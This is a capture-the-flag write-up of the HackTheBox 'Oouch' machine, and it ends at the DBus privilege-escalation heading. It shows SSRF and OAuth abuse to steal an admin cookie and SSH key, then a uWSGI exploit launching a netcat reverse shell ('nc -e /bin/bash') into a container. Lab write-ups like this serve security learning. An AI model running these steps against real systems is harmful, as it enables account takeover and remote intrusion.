HackTheBox - Oouch

— Written by — 26 min read
oouch-hackthebox

Oouch just retired on Hackthebox, it’s a hard difficulty Linux box. As of today it’s amongst the box that have the highest user rated difficulty with a score of 8.2/10.
While being very well desinged, this box unsurprisingly gave me a very hard time but it’s also the box that made me learn the most since I started HackTheBox. While it can be very tedious to progress at first, it quickly makes a lot of sense and become very rewarding once you know what you are looking for and trying to exploit. As much as ever this box reminds the importance of looking at the big picture. Puts things into perspective in order to understand the logic behind an application makes its exploitation more straightforward.
The truth is I got stuck a little on it so special thanks to my buddy [email protected] for the help along the torturous road.
Alright enough with the talk and place to the writeup!

Tl;Dr: In order to retrieve the user flag you had to chain multiple OAuth 2.0 protocol flaws with a SSRF vulnerability in order to “steal” admin account access. In a first part you use the SSRF vulnerability to access admin documents containing credentials to access the OAuth authorization server. From there we could create our own application and craft an authorization link redirecting to our server. Using the SSRF this link can be used to steal the admin session cookie. With the admin cookie, it’s possible to generate a API access token. With this token we can request the API which contains an endpoint used to retrieve connected user SSH key. The SSH key is then used to connect as qtc and grab the flag.
To retrieve the root flag you had first to pivot from qtc user in a docker container to www-data using a Remote Code Execution exploit on the web-server running. As www-data is was possible to exploit a custom DBus server used by the app in order to let the docker container communicate with the host. You would craft and send a malicious message to the interface used by the app and achieve Remote Code Execution as root through the privileged Dbus server.

Alright! Let’s get into the details now!


First thing first, let’s add the box IP to the hosts file:

1
[[email protected] ~]$ echo "10.10.10.177 oouch.htb" >> /etc/hosts

and let’s start!

User Flag

Recon

Let’s start with the classic nmap scan to see which ports are open on the box:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
[[email protected] ~]$ nmap -sV -sC -T4 -p- oouch.htb
Nmap scan report for oouch.htb (10.10.10.177)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.0.8 or later
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r-- 1 ftp ftp 49 Feb 11 19:34 project.txt
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
5000/tcp open http nginx 1.14.2
|_http-server-header: nginx/1.14.2
| http-title: Welcome to Oouch
|_Requested resource was http://oouch.htb:5000/login?next=%2F
8000/tcp open rtsp
|_http-title: Site doesn't have a title (text/html).
Nmap done: 1 IP address (1 host up) scanned in 1017.45 seconds

We have two high port open on 5000 and 8000 open. 5000 seems to be the main app web server.

Port 22 SSH is open as usual aswell with port 21 FTP which allows anonymous login. We will start with that.

FTP anonymous user

Let’s start by checking if we can retrieve any files from the FTP server. We indeed find a project.txt:

1
2
3
4
5
6
7
8
9
10
11
12
[[email protected] ~]$ ftp oouch.htb
Connected to oouch.htb.
220 qtc's development server
Name (oouch.htb:hg8): anonymous
230 Login successful.
Remote system type is UNIX.
ftp> ls
-rw-r--r-- 1 ftp ftp 49 Feb 11 19:34 project.txt
ftp> get project.txt
226 Transfer complete.
ftp> quit
221 Goodbye.

Let’s see what we got inside:

1
2
3
[[email protected] ~]$ cat project.txt
Flask -> Consumer
Django -> Authorization Server

Alright so that’s not a lot of informations… Given the name of the box we are probably going to have an OAuth server. The consumer app is written using Flask Python Framework and Django is used for the Authorization Server. Let’s keep that in mind. Maybe later we can find exploits for those.

Oouch main application (port 5000)

Opening http://oouch.htb:5000 display the following website:

oouch port 5000

Since we can register let’s create a new account. Once logged-in we arrive on the following page:

oouch 5000 login

We can access a few new pages from there. The most useful one seems to be:

  • Profile: display informations about the connected account. Informs us it’s possible to links accounts.
  • Documents: display administrative documents stored for the connected account.
  • Contact: Allows to forward messages to the system administrator.

The About page confirm our theory about Django:

This application is the pilot project for our Oouch authorization server.

Let’s continue our recon.

Contact Page SSRF

The choice of words in contact page catch my attention:

Messages that were submitted in the message box below are forwarded to the system administrator.

Out of curiosity I sent various payload to the message box and quick noticed it’s vulnerable to SSRF:

oouch contact ssrf

On our web server we see a new request coming from 10.10.10.177:

1
2
3
[[email protected] ~]$ python -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.10.177 - - [14/May/2020 16:03:19] "GET /ssrf HTTP/1.1" 404 -

But so far we have no way to exploit it properly, let’s just keep it in mind for later.

Oauth Flow

Let’s continue our recon by running gobuster to see if other files/endpoints are accessible:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
[[email protected] ~]$ gobuster dir -u "http://oouch.htb:5000" -w ~/SecLists/Discovery/Web-Content/big.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
/about (Status: 302)
/contact (Status: 302)
/documents (Status: 302)
/home (Status: 302)
/login (Status: 200)
/logout (Status: 302)
/oauth (Status: 302)
/profile (Status: 302)
/register (Status: 200)

This /oauth endpoint is new. Navigating to it gives us access to more informations:

oouch oauth endpoint

First we need to add this new consumer.oouch.htb subdomain to our host file:

1
[[email protected] ~]$ echo "10.10.10.177 consumer.oouch.htb" >> /etc/hosts

Opening http://consumer.oouch.htb displays almost the exact same login page. When opening the page, a new subdomain is requested:

1
2
GET /oauth/authorize/?client_id=UDBtC8HhZI18nJ53kJVJpXp4IIffRhKEXZ0fSd82&response_type=code&redirect_uri=http://consumer.oouch.htb:5000/oauth/connect/token&scope=read HTTP/1.1
Host: authorization.oouch.htb:8000

Again, let’s add it to our host file and take a look at it.

1
[[email protected] ~]$ echo "10.10.10.177 authorization.oouch.htb" >> /etc/hosts

Opening http://authorization.oouch.htb displays the following website:

oouch authorization

From here it seems possible to create account and login. If you are not familiar with OAuth Authorization servers I recommend you this great introduction to the topic.

Let’s create register a new client called hg8_auth:

Oouch new authorization

Ok the next step is to connect our account with the Oouch authorization server. But that’s where the SSRF we found earlier will come useful. Instead of linking our own account, we are going to link the admin account using SSRF. This way we will get the authorization code and token to access the admin account.

Attacking the OAuth “Connect” request

After searching for informations on this topic I stumbled upon this article “Attacking the OAuth Protocol“ explaining how it was possible to abuse OAuth “Connect” request to gain access to the victim’s account on the Client by connecting one of our own account. Let’s try this trick.

Using Burp proxy with intercept on will come useful here, opening the http://consumer.oouch.htb:5000/oauth/connect page should display this form:

oouch auth authorization form

With Burp intercept we can forward requests until we get the following one:

1
2
3
4
5
6
7
8
9
10
GET /oauth/connect/token?code=TFKMAn9chP5VPBGMBcwR3QhcSeGSxn HTTP/1.1
Host: consumer.oouch.htb:5000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://authorization.oouch.htb:8000/oauth/authorize/?client_id=UDBtC8HhZI18nJ53kJVJpXp4IIffRhKEXZ0fSd82&response_type=code&redirect_uri=http://consumer.oouch.htb:5000/oauth/connect/token&scope=read
Connection: close
Cookie: session=.eJwlT8tqAzEM_BXjcyiS_M5X9F5CkG05uzTNlvXmFPLvFfQ0jObB6GWv485zkWnPXy9rDgX7I3PyTezJft6Fp5j7djPrwxyb4dZUNMeyTvOrng97eV9OWrLLXOz52J-ibO32bAVHqJipsxvkAXokSFLIN_AwImUcPfuchXtLPQOCT4QNODZMeqtC1bkEkrjK8JodGat4F3LpwxfgAalQHAHIOwUfsiNyqFR4JJ3f5j6ux_YtD91DHWNz6IGll1oqEPqCIEwQe6AWGFuKNWjuOWX_f4Ls-w9j5VTN.Xr2cMw.O5uipwhI9L-auXFpngItBkAl2wc; remember_token=2|72dbe72f819249d55773f59f1e586cb642ea234a7f89458e71b123bbab32bfd12213cf79d6cfc4670f031a60a5da64c239362d3e976d5c7c606a80a341fbbfaf
Upgrade-Insecure-Requests: 1

Let’s note down the token, drop the request, and go back to the Contact page.

On the contact page let’s send the full link to our connection token (http://consumer.oouch.htb:5000/oauth/connect/token?code=7giFB9MMVgAJJHiIxaiX8IkCDXi5DV) for it to be open by the admin:

oouch ssrf auth token

Now when the admin will open the link, he will link his account to ours. Then as described in the /oauth page:

Once your account is connected, you should be able to use the authorization server for login.

Let’s head at http://consumer.oouch.htb:5000/oauth/login, select Authorize and bingo! We should now be connected as qtc:

oouch qtc connect

Note: You have to be careful since on the /oauth page, the login link actually redirect to connect page. It’s an easy to overlook mistake since both Authorize button looks the same (lost too much on this one to be honest…):

1
2
3
<a href="http://consumer.oouch.htb:5000/oauth/connect">
http://consumer.oouch.htb:5000/oauth/login
</a>

QTC Documents

Browsing back to http://consumer.oouch.htb:5000/documents with qtc account we access a few interesting documents:

oouch qtc documents

todo.txt looks espacially promising… Looks like there is a way to retrieve qtc SSH key.

Connecting to Authorization server as QTC

Now we need to find a way to connect to the Authorization server as qtc too. Let’s run gobuster to see if we missed some endpoints on this server:

1
2
3
4
5
6
7
8
9
[[email protected] ~]$ gobuster dir -u "http://authorization.oouch.htb:8000" -w ~/SecLists/Discovery/Web-Content/big.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
/home (Status: 301)
/login (Status: 301)
/signup (Status: 301)
/oauth (Status: 301)

Let’s do a new search for this /oauth endpoint:

1
2
3
4
5
6
7
8
[[email protected] ~]$ gobuster dir -u "http://authorization.oouch.htb:8000/oauth" -w ~/SecLists/Discovery/Web-Content/big.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
/applications (Status: 301)
/authorize (Status: 301)
/token (Status: 301)

/applications looks promising… Let’s check what’s there:

oouch oauth applications endpoint

Unfortunately we get prompted a Basic Auth. Trying the credentials found in qtc notes develop:supermegasecureklarabubu123! doesn’t work.

Looking back at the notes we see:

develop:supermegasecureklarabubu123! -> Allows application registration.

So there must be a place to register new application. Let’s make one more gobuster search to see if we can get this endpoint:

1
2
3
4
5
6
7
8
9
10
[[email protected] ~]$ gobuster dir -u "http://authorization.oouch.htb:8000/oauth/applications" -w ~/SecLists/Discovery/Web-Content/big.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[...]
/997 (Status: 301)
/999 (Status: 301)
/99999999 (Status: 301)
/register (Status: 301)

We get a loooot of applications ID but also a register/ endpoint! That’s exactly what we need.

This times the credentials are working and leads us to the following page:

oouch oauth app registration

Let’s create our own public app with Authorization type set to Authorization Code. Don’t forget to not down the Client ID and Client Secret since we are going to need it later. Let’s set our own server as Redirect uris so we can easily monitor the requests later. Then save our app:

oouch oauth app register

We can notice our application ID in the URL: http://authorization.oouch.htb:8000/oauth/applications/2/. Let’s note down that our ID is 2.

Once again we are going to abuse the SSRF vulnerability. Sending our app link to the admin qtc will allow us to, thanks to the Redirect Uri, to have qtc redirected to our server with his admin cookie.

We now have to craft the right URL to let qtc connects to our application. Following the OAuth 2.0 documentation, our link will be the following one:

1
http://authorization.oouch.htb:8000/oauth/authorize?response_type=code&client_id=MFtnpVvtUo13yfBwO33jCHcjNfkT8R7Kebg9QKFj&client_secret=b4VGOv30ZpsQy1HOkRcRi5BaIyhsu00b7LZMw4SE9gFtygHXh3ngG54SjzZ0Kyf8SvH6m9Gfv6ISKh2k4YU582KP9bIlSz0Brz0Qz3vMns3eczMvm15kWagBjN5vbOKe&redirect_uri=http://10.10.14.16:80/&grant_type=authorization_code

Now let’s have qtc open it…

Let’s give a try first to make sure our link is correct. First we need to open a simple web server on port 80, I will user nc:

1
[[email protected] ~]$ sudo nc -lvnp 80

Now we open our authorization link:

oouch oauth app authorize

As soon as we select Authorize our web server receive datas including our session cookie:

1
2
3
4
5
6
7
8
9
10
11
[[email protected] ~]$ sudo nc -lvnp 80
Connection from 10.10.14.16:40250
GET /?code=9LtdM21130p0V9vIFBRWhHVL0ogmMs HTTP/1.1
Host: 10.10.14.16
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://authorization.oouch.htb:8000/oauth/authorize/?response_type=code&client_id=MFtnpVvtUo13yfBwO33jCHcjNfkT8R7Kebg9QKFj&client_secret=b4VGOv30ZpsQy1HOkRcRi5BaIyhsu00b7LZMw4SE9gFtygHXh3ngG54SjzZ0Kyf8SvH6m9Gfv6ISKh2k4YU582KP9bIlSz0Brz0Qz3vMns3eczMvm15kWagBjN5vbOKe&redirect_uri=http://10.10.14.16:80/&grant_type=authorization_code
Connection: keep-alive
Upgrade-Insecure-Requests: 1

So we validated that everything is in order. Let’s now use the SSRF by sending this link through the Contact page so it will be opened by qtc:

oouch oauth authorize SSRF

And after a few tries (the box was quite unstable) we finally get the cookie:

1
2
3
4
5
6
7
8
9
[[email protected] ~]$ sudo nc -lvnp 80
Connection from 10.10.10.177:36596
GET /?error=invalid_request&error_description=Missing+response_type+parameter. HTTP/1.1
Host: 10.10.14.16
User-Agent: python-requests/2.21.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Cookie: sessionid=6lqzd97bobc8is2tl3xod702qnzondvb;

Let’s go back to the authorization server and use Firefox/Chrome dev tools to replace our cookie with qtc one:

oouch authorization qtc cookie

It works! We are logged-in as qtc on Authorization server as-well:

oouch authorization logged qtc

API get_user endpoint

Now it’s time to access the get_user endpoint mentioned is qtc notes:

/api/get_user -> user data. oauth/authorize -> Now also supports GET method.

o_auth_notes.txt

First we need to retrieve qtc access token for the API. To do so we have to edit our application (2) to set the Authorization grant type to Client credentials:

oouch oauch client credentials

Now we go back to http://authorization.oouch.htb:8000/ with qtc.

According to the OAuth 2.0 documentation, we need to make a POST request on /token endpoint with app Client ID and Client Secret in order to retrieve a token. Let’s give a try:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /oauth/token/ HTTP/1.1
Host: authorization.oouch.htb:8000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://authorization.oouch.htb:8000/
Connection: close
Cookie: sessionid=6lqzd97bobc8is2tl3xod702qnzondvb; csrftoken=jVilFO87MZeGcAB0yQVXUNhOiwABsLoX06SAakPXz1dUZz5pfWdeNbZA48NeVTxK
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 223

grant_type=client_credentials&client_id=MFtnpVvtUo13yfBwO33jCHcjNfkT8R7Kebg9QKFj&client_secret=b4VGOv30ZpsQy1HOkRcRi5BaIyhsu00b7LZMw4SE9gFtygHXh3ngG54SjzZ0Kyf8SvH6m9Gfv6ISKh2k4YU582KP9bIlSz0Brz0Qz3vMns3eczMvm15kWagBjN5vbOKe

And success! The app returns the token we need:

1
2
3
4
5
6
7
8
9
HTTP/1.1 200 OK
Content-Type: application/json
Cache-Control: no-store
Pragma: no-cache
X-Frame-Options: SAMEORIGIN
Content-Length: 116
Vary: Authorization

{"access_token": "W4c7YMFgb3lrZLyfdYOMyxs3Fh89is", "expires_in": 600, "token_type": "Bearer", "scope": "read write"}

Now we should be able to access the API using the access token we just got. Let’s give it a try:

1
2
3
4
5
6
7
8
[[email protected] ~]$ curl 'http://authorization.oouch.htb:8000/api/get_user?access_token=W4c7YMFgb3lrZLyfdYOMyxs3Fh89is' -H 'Cookie: sessionid=6lqzd97bobc8is2tl3xod702qnzondvb' -i
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 87
Vary: Authorization, Cookie

{"username": "qtc", "firstname": "", "lastname": "", "email": "[email protected]"}%

Good it worked! But we didn’t get a lot of new information here…

Retrieving qtc SSH key through API

Now we should have full admin access to the Oouch app, including the authorization server. Yet, we didn’t find information about qtc SSH key as mentioned in the todo.txt document.

Chris mentioned all users could obtain my ssh key. Must be a joke…

After a lot of searches and trial I finally find the endpoint we are looking for using ffuf.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
[[email protected] ~]$ ffuf -w ~/SecLists/Discovery/Web-Content/common.txt -u "http://authorization.oouch.htb:8000/api/get_FUZZ?access_token=RsUDJoc9bGfx0bBTOrXIXmOzbYr6IM" -b "sessionid=6lqzd97bobc8is2tl3xod702qnzondvb" -fc 404

/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/

v1.0-rc1
________________________________________________

:: Method : GET
:: URL : http://authorization.oouch.htb:8000/api/get_FUZZ?access_token=RsUDJoc9bGfx0bBTOrXIXmOzbYr6IM
:: Header : Cookie: sessionid=6lqzd97bobc8is2tl3xod702qnzondvb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403
:: Filter : Response status: 404
________________________________________________

sshadmin [Status: 200, Size: 2708, Words: 12, Lines: 1]
ssh [Status: 200, Size: 2708, Words: 12, Lines: 1]
useradmin [Status: 200, Size: 87, Words: 8, Lines: 1]
user_upload [Status: 200, Size: 87, Words: 8, Lines: 1]
userapp [Status: 200, Size: 87, Words: 8, Lines: 1]
usercontrols [Status: 200, Size: 87, Words: 8, Lines: 1]
usercp [Status: 200, Size: 87, Words: 8, Lines: 1]
user [Status: 200, Size: 87, Words: 8, Lines: 1]
usercp2 [Status: 200, Size: 87, Words: 8, Lines: 1]
userinfo [Status: 200, Size: 87, Words: 8, Lines: 1]
userimages [Status: 200, Size: 87, Words: 8, Lines: 1]
userfiles [Status: 200, Size: 87, Words: 8, Lines: 1]
userdir [Status: 200, Size: 87, Words: 8, Lines: 1]
userlist [Status: 200, Size: 87, Words: 8, Lines: 1]
userlogin [Status: 200, Size: 87, Words: 8, Lines: 1]
usermanager [Status: 200, Size: 87, Words: 8, Lines: 1]
userlog [Status: 200, Size: 87, Words: 8, Lines: 1]
usernames [Status: 200, Size: 87, Words: 8, Lines: 1]
username [Status: 200, Size: 87, Words: 8, Lines: 1]
usernote [Status: 200, Size: 87, Words: 8, Lines: 1]
users [Status: 200, Size: 87, Words: 8, Lines: 1]
:: Progress: [4594/4594] :: 176 req/sec :: Duration: [0:00:26] :: Errors: 0 ::

The get_ssh endpoint might seems obvious when reading this writeup but believe me it’s not :P

Let’s check this get_ssh endpoint:

1
2
3
4
5
6
7
8
[[email protected] ~]$ curl 'http://authorization.oouch.htb:8000/api/get_ssh?access_token=W4c7YMFgb3lrZLyfdYOMyxs3Fh89is' -H 'Cookie: sessionid=6lqzd97bobc8is2tl3xod702qnzondvb' -i
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 2708
Vary: Authorization, Cookie

{"ssh_server": "consumer.oouch.htb", "ssh_user": "qtc", "ssh_key": "-----BEGIN OPENSSH PRIVATE KEY-----\nb3Bl[...]QIDBA==\n-----END OPENSSH PRIVATE KEY-----"}%

Bingo! Let’s save it to file and try to login to the server using it on qtc account:

1
2
3
4
5
6
7
[[email protected] ~]$ ssh -i qtcssh [email protected]
Linux oouch 4.19.0-8-amd64 #1 SMP Debian 4.19.98-1 (2020-01-26) x86_64
Last login: Tue Feb 25 12:45:55 2020 from 10.10.14.3
[email protected]:~$ ls
user.txt
[email protected]:~$ cat user.txt
axxxxxxxxxxxxxxxxxxxxxxxxxxx5

Root Flag

Recon

qtc home folder contains a note.txt file:

1
2
[email protected]:~$ cat .note.txt
Implementing an IPS using DBus and iptables == Genius?

As a reminder an IPS stand for Intrusion detection system, iptables is a firewall and DBus , according to its website:

D-Bus is a message bus system, a simple way for applications to talk to one another. In addition to interprocess communication, D-Bus helps coordinate process lifecycle; it makes it simple and reliable to code a “single instance” application or daemon, and to launch applications and daemons on demand when their services are needed.

https://www.freedesktop.org/wiki/Software/dbus/

I don’t know if it’s genius but definitely an original idea. Let’s move on.

Accessing Docker Container

Another thing that catch the attention while doing recon is that we are hosting docker containers:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
[email protected]:~$ docker -v
Docker version 19.03.5, build 633a0ea838
[email protected]oouch:~$ systemctl is-active docker
active
[email protected]:~$ ip a
[...]
3: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default
link/ether 02:42:14:f2:20:5f brd ff:ff:ff:ff:ff:ff
inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
valid_lft forever preferred_lft forever
4: br-cc6c78e0c7d0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:c6:0b:4e:e1 brd ff:ff:ff:ff:ff:ff
inet 172.18.0.1/16 brd 172.18.255.255 scope global br-cc6c78e0c7d0
valid_lft forever preferred_lft forever
inet6 fe80::42:c6ff:fe0b:4ee1/64 scope link
valid_lft forever preferred_lft forever
[...]

Probably used for hosting the Oouch apps.

Since we don’t belongs to group docker we can not access the containers this way. But we do have the qtc SSH keys, maybe we can connect to the containers using it.

We know that docker is running on 172.17.0.1/16 subnet and 172.18.0.1/16 let’s try to connect to one.

Manually trying to connect with qtc on 172.17.0.1/16 doesn’t give any results, but on 172.18.0.1/16 we manage to connect on 172.18.0.5:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
[email protected]:~$ ssh -i ~/.ssh/id_rsa [email protected]
The authenticity of host '172.18.0.5 (172.18.0.5)' can't be established.
ED25519 key fingerprint is SHA256:ROF4hYtv6efFf0CQ80jfB60uyDobA9mVYiXVCiHlhSE.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '172.18.0.5' (ED25519) to the list of known hosts.
Linux aeb4525789d8 4.19.0-8-amd64 #1 SMP Debian 4.19.98-1 (2020-01-26) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
[email protected]:~$

Browsing through the docker container we stumbled across the source code of the consumer app, alongside some interesting informations like the database password:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
[email protected]:~$ cd /code
[email protected]:/code$ ls
Dockerfile config.py key nginx.conf requirements.txt urls.txt
authorized_keys consumer.py migrations oouch start.sh uwsgi.ini
[email protected]:/code$ cat config.py
import os

basedir = os.path.abspath(os.path.dirname(__file__))

class Config(object):
# ...
SQLALCHEMY_DATABASE_URI = 'mysql://qtc:[email protected]/Consumer'
SQLALCHEMY_TRACK_MODIFICATIONS = False

SECRET_KEY = os.environ.get('SECRET_KEY') or 'klarabubuklarabubuklarabubuklarabubu'

Let’s keep this information in mind for later, it will probably come useful.

Another interesting fact is that the app is running on uwsgi:

uWSGI is a software application that “aims at developing a full stack for building hosting services”. It is named after the Web Server Gateway Interface (WSGI), which was the first plugin supported by the project.

uWSGI is often used for serving Python web applications in conjunction with web servers such as Cherokee and Nginx, which offer direct support for uWSGI’s native uwsgi protocol.

https://uwsgi-docs.readthedocs.io/en/latest/

Its configuration is also available in the folder:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
[email protected]:/code$ cat uwsgi.ini
[uwsgi]
module = oouch:app
uid = www-data
gid = www-data
master = true
processes = 10
socket = /tmp/uwsgi.socket
chmod-sock = 777
vacuum = true
die-on-term = true

[email protected]:/code$ cat start.sh
#!/bin/bash
service ssh start
service nginx start
uwsgi --ini uwsgi.ini --chmod-sock=666

So far it’s not very useful. Let’s continue our recon.

DBus htb.oouch.Block Interface

While checking for the reason the contact page got SSRF in oouch/route.py I stumbled upon DBus logic:

1
2
3
4
5
6
7
8
9
10
11
def contact():
[...]
if primitive_xss.search(form.textfield.data):
bus = dbus.SystemBus()
block_object = bus.get_object('htb.oouch.Block', '/htb/oouch/Block')
block_iface = dbus.Interface(block_object, dbus_interface='htb.oouch.Block')

client_ip = request.environ.get('REMOTE_ADDR', request.remote_addr)
response = block_iface.Block(client_ip)
bus.close()
return render_template('hacker.html', title='Hacker')

It’s very probably the IPS that the admin was talking about on his note.txt. If an XSS attempt is detected in the message body, a message containing the user IP is sent trough the htb.oouch.Block interface. Then the user gets redirected to an hacker.html page. Following the note.txt we can guess that a DBus server is running somewhere and adding the IP addresses received as messages through the htb.oouch.Block to an iptables denylist.

As far as I understand it’s actually a smart idea since it allows a -somewhat- secure communication between the docker container and the host.

Let’s see if we can find more informations about this DBus server.

Trying to manually send dbus message return an error message explaining we don’t have the correct rights to send messages.

1
2
[email protected]:/code$ dbus-send --system --print-reply --dest=htb.oouch.Block /htb/oouch/Block  htb.oouch.Block "string:test"
Error org.freedesktop.DBus.Error.AccessDenied: Rejected send message, 1 matched rules; type="method_call", sender=":1.748" (uid=1000 pid=6614 comm="dbus-send --system --print-reply --dest=htb.oouch.") interface="htb.oouch.Block" member="Block" error name="(unset)" requested_reply="0" destination="htb.oouch.Block" (uid=0 pid=2572 comm="/root/dbus-server ")

Going back to the docker host we find the config file related to the DBus htb.oouch.Block Interface:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
[email protected]:~$ cat /etc/dbus-1/system.d/htb.oouch.Block.conf
<?xml version="1.0" encoding="UTF-8"?> <!-- -*- XML -*- -->

<!DOCTYPE busconfig PUBLIC
"-//freedesktop//DTD D-BUS Bus Configuration 1.0//EN"
"http://www.freedesktop.org/standards/dbus/1.0/busconfig.dtd">

<busconfig>

<policy user="root">
<allow own="htb.oouch.Block"/>
</policy>

<policy user="www-data">
<allow send_destination="htb.oouch.Block"/>
<allow receive_sender="htb.oouch.Block"/>
</policy>

</busconfig>

We can understand from the configs files we found so far that the app inside the container is communicating with its host and that only www-data is allowed to communicate on this channel.

We need to find a way to pivot to www-data in order to send command through DBus interface. This should also allows us to run command on host as root.

Pivot qtc -> docker www-data

If you remember uwsgi.ini config file, we know that uwsgi.ini is running as www-data:

1
2
3
4
5
6
7
8
9
10
11
[email protected]:/code$ cat uwsgi.ini
[uwsgi]
module = oouch:app
uid = www-data
gid = www-data
master = true
processes = 10
socket = /tmp/uwsgi.socket
chmod-sock = 777
vacuum = true
die-on-term = true

Searching online lead us to a neat vulnerability leading to Remote Code Execution in uwsgi. Let’s give it a try!

First we need to download it on our machine, then transfer it to the box and finally send it to the docker container. To ease to exploit process we are also going to transfer our netcat binary since it’s not installed on the container:

1
2
3
[[email protected] ~]$ wget https://github.com/wofeiwo/webcgi-exploits/blob/master/python/uwsgi_exp.py
[[email protected] ~]$ scp -i qtcssh uwsgi_exp.py [email protected]:/tmp/.hg8
uwsgi_exp.py 100% 124KB 89.7KB/s 00:01
1
2
3
4
5
[email protected]:/tmp/.hg8$ cp /bin/nc .
[email protected]:/tmp/.hg8$ scp -i ~/.ssh/id_rsa uwsgi_exp.py [email protected]:/tmp
uwsgi_exp.py 100% 124KB 73.8MB/s 00:00
[email protected]:/tmp/.hg8$ scp -i ~/.ssh/id_rsa nc [email protected]:/tmp
nc 100% 27KB 22.8MB/s 00:00

The exploit can be run using HTTP, TCP or Unix socket mode. Let’s use the socket mode since the uwsgi.ini told us where it’s stored (/tmp/uwsgi.socket):

1
2
3
4
5
6
[email protected]:/tmp/.hg8$ ssh -i ~/.ssh/id_rsa [email protected]
Linux aeb4525789d8 4.19.0-8-amd64 #1 SMP Debian 4.19.98-1 (2020-01-26) x86_64

Last login: Fri May 15 13:11:04 2020 from 172.18.0.1
[email protected]:~$ ls /tmp/
nc uwsgi.socket uwsgi_exp.py

Let’s open our listener on qtc host:

1
2
[email protected]:/$ nc -nlvp 8585
listening on [any] 8585 ...

And run the exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
[email protected]:~$ cd /tmp/
[email protected]:/tmp$ python uwsgi_exp.py -m unix -u /tmp/uwsgi.socket -c "/tmp/nc -e /bin/bash 172.18.0.1 8585"
[*]Sending payload.
Traceback (most recent call last):
File "uwsgi_exp.py", line 146, in <module>
main()
File "uwsgi_exp.py", line 143, in main
print(curl(args.mode.lower(), args.uwsgi_addr, payload, '/testapp'))
File "uwsgi_exp.py", line 110, in curl
return ask_uwsgi(addr_and_port, mode, var)
File "uwsgi_exp.py", line 77, in ask_uwsgi
s.send(pack_uwsgi_vars(var) + body.encode('utf8'))
File "uwsgi_exp.py", line 26, in pack_uwsgi_vars
pk += sz(k) + k.encode('utf8') + sz(v) + v.encode('utf8')
File "uwsgi_exp.py", line 18, in sz
if sys.version_info[0] == 3: import bytes
ModuleNotFoundError: No module named 'bytes'

Since we are using Python 3 let’s tweak the exploit a little to make it compatible:

1
2
3
- if sys.version_info[0] == 3: import bytes
- s = bytes.fromhex(s) if sys.version_info[0] == 3 else s.decode('hex')
+ s = bytes.fromhex(s)

And we can run it again:

1
2
[email protected]:/tmp$ python uwsgi_exp.py -m unix -u /tmp/uwsgi.socket -c "/tmp/nc -e /bin/bash 172.18.0.1 8585"
[*]Sending payload.

A new connection appear on our listener:

1
2
3
4
5
[email protected]:/tmp/.hg8$ nc -nlvp 8585
listening on [any] 8585 ...
connect to [172.18.0.1] from (UNKNOWN) [172.18.0.5] 40206
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

DBus privilege escalation

